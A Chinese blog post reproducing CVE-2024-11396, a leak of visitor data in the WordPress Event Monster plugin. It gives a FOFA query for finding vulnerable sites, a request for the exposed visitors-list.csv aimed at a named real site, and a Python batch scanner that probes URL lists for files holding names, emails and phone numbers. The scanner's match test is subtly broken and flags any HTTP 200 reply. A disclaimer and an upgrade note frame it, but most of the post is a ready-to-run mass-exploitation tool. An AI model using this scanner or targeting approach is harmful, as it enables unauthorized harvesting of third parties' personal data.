当前位置: 首页 > article >正文

WordPress event-monster插件信息泄露漏洞复现(CVE-2024-11396)(附脚本)

免责申明:

本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。如涉及侵权,请及时与我们联系,我们将尽快处理并删除相关内容。

0x01 产品描述:

        Event-Monster是一款功能强大的WordPress活动管理插件,专为创建和管理各类活动、票务和预订而设计。它提供了直观的活动创建界面,支持多种活动类型、票务选项和支付网关集成,帮助用户轻松组织线上或线下活动。Event-Monster还具备强大的自定义功能,包括活动日历、倒计时、地图集成和电子邮件通知等,确保活动策划和推广更加高效。无论是小型聚会还是大型会议,Event-Monster都能为用户提供专业且灵活的活动管理解决方案。
0x02 漏洞描述:

        WordPress 的 Event Monster – Event Management, Tickets Booking, Upcoming Event 插件在 1.4.3 之前的所有版本中都容易受到通过访客列表导出文件进行信息泄露的影响。在导出过程中,将在 wp-content 文件夹中创建一个 CSV 文件,其中包含可公开访问的硬编码文件名。这使得未经身份验证的攻击者能够提取有关事件访问者的数据,包括名字和姓氏、电子邮件和电话号码。

0x03 影响版本:

Event monster <= 1.4.3
0x04 搜索语句:

Fofa:body="wp-content/plugins/event-monster/"


0x05 漏洞复现:

GET /wp-content/uploads/visitors-list.csv HTTP/1.1
Host: www.eventibambinidiroma.it

0x06 批量检测脚本:

批量检测:
python poc.py -f url.txt
单个检测:
python poc.py -u your-ip
import requests
import urllib3
from urllib.parse import urljoin,quote
import argparse
import ssl

ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def banner():
    print("\033[36m" + """
    ****************************************************
    *                CVE-2024–11396                    *
    *        WordPress 未授权访问导致敏感信息泄露       *
    *                 作者: iSee857                    *
    ****************************************************
    """ + "\033[0m")


def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def check(url):
    protocols = ['http://', 'https://']
    found_vulnerabilities = False
   

    for protocol in protocols:
        target_url = urljoin(protocol + url.lstrip('http://').lstrip('https://'), "/")
        print(f"Checking {target_url}")

        target_url.rstrip("/")
        target_url = urljoin(target_url, "/wp-content/uploads/visitors-list.csv")
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
        }
        try:
            response = requests.get(target_url, verify=False, headers=headers)
            if response.status_code == 200 and (key in response.text for key in('First Name','Last Name','Email','Phone')):
                print(f"\033[31mFind:{url}:WordPress_CVE-2024-11396_DataBreach!\033[0m")
                return True
        except Exception as e:
            pass

if __name__ == "__main__":
    banner()
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        check(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")


0x07 修复建议:

升级至大于1.4.3版本


http://www.kler.cn/a/522753.html

相关文章:

  • sudo nvim /path/yourfile, sudo: nvim: command not found
  • 网络工程师 (7)进程管理
  • three.js用粒子使用canvas生成的中文字符位图材质
  • 【教学类-89-01】20250127新年篇01—— 蛇年红包(WORD模版)
  • Zookeeper(31)Zookeeper的事务ID(zxid)是什么?
  • LLM架构与优化:从理论到实践的关键技术
  • 【MySQL】 数据类型
  • Hive详细讲解-各类函数速通
  • GO 库与框架篇
  • Vue 3 30天精进之旅:Day 06 - 表单输入绑定
  • 【愚公系列】《循序渐进Vue.js 3.x前端开发实践》027-组件的高级配置和嵌套
  • Java数据库操作指南:快速上手JDBC【学术会议-2025年数字化教育与信息技术(DEIT 2025】
  • 如何利用AI工具来进行数据分析
  • 落地 轮廓匹配
  • 数据结构课程设计(三)构建决策树
  • 当当网近30日热销图书的数据采集与可视化分析(scrapy+openpyxl+matplotlib)
  • unity商店中的A* Pathfinding Project插件,判断两个点之间能否正常导航通行?
  • Airflow:精通Airflow任务依赖
  • 如何解决小尺寸图像分割中的样本不均衡问题
  • 指针的介绍2前
  • 【JavaEE进阶】应用分层
  • 使用Ollama 在Ubuntu运行deepseek大模型:以DeepSeek-coder为例
  • 包管理工具随记
  • 构建1688自动代采系统:PHP开发实战指南
  • 深度学习|表示学习|卷积神经网络|输出维度公式如何理解?|16
  • 宝塔中运行java项目 报权限不足